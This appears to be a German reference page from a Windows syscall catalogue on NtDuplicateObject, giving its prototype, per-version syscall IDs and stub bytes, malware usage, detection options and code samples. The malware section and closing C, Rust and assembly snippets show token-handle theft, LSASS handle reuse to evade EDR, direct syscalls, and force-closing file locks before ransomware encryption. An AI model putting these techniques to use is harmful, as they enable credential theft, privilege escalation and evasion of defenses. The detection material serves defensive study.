> Windows Syscalls
ntoskrnl.exeT1003.001T1134.001T1106

NtDuplicateObject

Dupliziert ein Handle aus einem Quellprozess in einen Zielprozess, optional mit Anpassung der Zugriffsrechte oder Schließung der Quelle.

Prototyp

NTSTATUS NtDuplicateObject(
  HANDLE      SourceProcessHandle,
  HANDLE      SourceHandle,
  HANDLE      TargetProcessHandle,
  PHANDLE     TargetHandle,
  ACCESS_MASK DesiredAccess,
  ULONG       HandleAttributes,
  ULONG       Options
);

Argumente

NameTypeDirDescription
SourceProcessHandleHANDLEinHandle auf den Prozess, dem SourceHandle gehört. Erfordert PROCESS_DUP_HANDLE.
SourceHandleHANDLEinDas zu duplizierende Handle im Quellprozess.
TargetProcessHandleHANDLEinHandle auf den Zielprozess. NULL nur erlaubt, wenn Options DUPLICATE_CLOSE_SOURCE enthält.
TargetHandlePHANDLEoutEmpfängt das neue, im Zielprozess gültige Handle. Optional.
DesiredAccessACCESS_MASKinZugriffsmaske für das neue Handle. Wird ignoriert, wenn Options DUPLICATE_SAME_ACCESS enthält.
HandleAttributesULONGinFlags wie OBJ_INHERIT oder OBJ_PROTECT_CLOSE für das neue Handle.
OptionsULONGinBitmaske aus DUPLICATE_CLOSE_SOURCE und/oder DUPLICATE_SAME_ACCESS / DUPLICATE_SAME_ATTRIBUTES.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x3Cwin10-1507
Win10 16070x3Cwin10-1607
Win10 17030x3Cwin10-1703
Win10 17090x3Cwin10-1709
Win10 18030x3Cwin10-1803
Win10 18090x3Cwin10-1809
Win10 19030x3Cwin10-1903
Win10 19090x3Cwin10-1909
Win10 20040x3Cwin10-2004
Win10 20H20x3Cwin10-20h2
Win10 21H10x3Cwin10-21h1
Win10 21H20x3Cwin10-21h2
Win10 22H20x3Cwin10-22h2
Win11 21H20x3Cwin11-21h2
Win11 22H20x3Cwin11-22h2
Win11 23H20x3Cwin11-23h2
Win11 24H20x3Cwin11-24h2
Server 20160x3Cwinserver-2016
Server 20190x3Cwinserver-2019
Server 20220x3Cwinserver-2022
Server 20250x3Cwinserver-2025

Kernel-Modul

ntoskrnl.exeNtDuplicateObject

Verwandte APIs

DuplicateHandleNtOpenProcessNtOpenProcessTokenNtDuplicateTokenNtClose

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 3C 00 00 00      mov eax, 0x3C
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtDuplicateObject trägt SSN `0x3C` von Windows 10 1507 bis Windows 11 24H2 — eine in der Tabelle seltene flache Kurve, die hartcodierte direkte Syscall-Stubs einfach macht. Intern verläuft der Pfad über ObDuplicateObject, das PROCESS_DUP_HANDLE am Quellprozess prüft und das zugrundeliegende Objekt in die Handletable des Ziels re-referenziert. Die `Options`-Flags (DUPLICATE_SAME_ACCESS, DUPLICATE_SAME_ATTRIBUTES, DUPLICATE_CLOSE_SOURCE) sind offensiv die interessantesten: DUPLICATE_SAME_ACCESS umgeht DACL-Trimming bei der Duplikation, DUPLICATE_CLOSE_SOURCE ist die billige Primitive für Handle-Diebstahl.

Häufige Malware-Nutzung

Zwei Muster dominieren. Erstens, **Handle-Schmuggel** zwischen Prozessen: ein Implant in einem niedrigprivilegierten Prozess öffnet ein höherprivilegiertes Ziel mit PROCESS_DUP_HANDLE und nutzt NtDuplicateObject, um ein Token- oder Prozess-Handle herauszuziehen (in Kombination mit NtOpenProcessToken ein klassischer Baustein für Cobalt Strikes `steal_token`). Zweitens, **Handle-Diebstahl für Credential Access**: hält ein high-integrity-Dienst bereits ein LSASS-Handle (Antimalware, EDR, in einigen Fällen lsm.exe), vermeidet die Duplikation jeden NtOpenProcess auf lsass.exe — und schlägt damit die meisten PPL/EDR-Detektionen. Dokumentiert in Hidden Bees Handle-Inheritance-Trick, im `--use-valid-sig`-Modus von NanoDump und missbraucht von Lazarus und FIN7. DUPLICATE_CLOSE_SOURCE wird zudem von Ransomware genutzt, um Datei-Locks von Office/SQL vor Verschlüsselung zwangsweise zu schließen.

Erkennungs­möglichkeiten

EDRs hooken NtDuplicateObject in ntdll für Cross-Process-Handle-Events; kernelseitig feuert ObRegisterCallbacks (ObjectPreCallback / ObjectPostCallback) auf PsProcessType und PsThreadType unabhängig vom User-Mode-Hooking und ist der maßgebliche Pivot. Sysmon Event ID 10 (ProcessAccess) meldet das Quell-Open mit PROCESS_DUP_HANDLE-Zugriff, oft verräterisch wenn die Quelle lsass.exe ist. Auf Prozesse achten, die mit DUP_HANDLE geöffnet, aber nie mit VM_OPERATION/VM_READ angesprochen werden — klassisches Handle-Schmuggel-Muster. ETW Microsoft-Windows-Kernel-Audit-API-Calls (GUID `e02a841c-75a3-4fa7-afc8-ae09cf9b7f23`) emittiert ein Duplicate-Event mit Quell- und Ziel-PID.

Direkte Syscall-Beispiele

asmx64 direct stub

; Direct syscall stub for NtDuplicateObject (SSN 0x3C, all builds)
NtDuplicateObject PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 3Ch          ; SSN
    syscall
    ret
NtDuplicateObject ENDP

cToken-handle steal via DUPLICATE_SAME_ACCESS

// Pull a primary token handle out of a target process without ever
// calling NtOpenProcessToken on it directly. hTarget must have been
// opened with PROCESS_DUP_HANDLE.
#include <windows.h>

#define DUPLICATE_SAME_ACCESS 0x00000002

typedef NTSTATUS (NTAPI *pNtDuplicateObject)(
    HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG);

HANDLE StealTokenHandle(HANDLE hTargetProcess, HANDLE hRemoteToken) {
    pNtDuplicateObject NtDuplicateObject = (pNtDuplicateObject)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDuplicateObject");

    HANDLE hLocal = NULL;
    NTSTATUS s = NtDuplicateObject(
        hTargetProcess,            // SourceProcessHandle
        hRemoteToken,              // SourceHandle (token in target)
        (HANDLE)-1,                // TargetProcessHandle = self
        &hLocal,                   // TargetHandle
        0, 0,
        DUPLICATE_SAME_ACCESS);    // keep original ACCESS_MASK
    return (s >= 0) ? hLocal : NULL;
}

rustDUPLICATE_CLOSE_SOURCE handle eviction

// Cargo: ntapi = "0.4", windows-sys = "0.59"
// Force-close a file handle held by another process (e.g. break an
// exclusive lock before encryption / overwrite).
use ntapi::ntobapi::NtDuplicateObject;
use windows_sys::Win32::Foundation::HANDLE;

const DUPLICATE_CLOSE_SOURCE: u32 = 0x0000_0001;

pub unsafe fn evict_handle(target_proc: HANDLE, victim: HANDLE) {
    let mut sink: HANDLE = std::ptr::null_mut();
    let _ = NtDuplicateObject(
        target_proc as _,
        victim as _,
        std::ptr::null_mut(),     // TargetProcessHandle = NULL
        &mut sink as *mut _ as _, // TargetHandle (discarded)
        0, 0,
        DUPLICATE_CLOSE_SOURCE,
    );
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20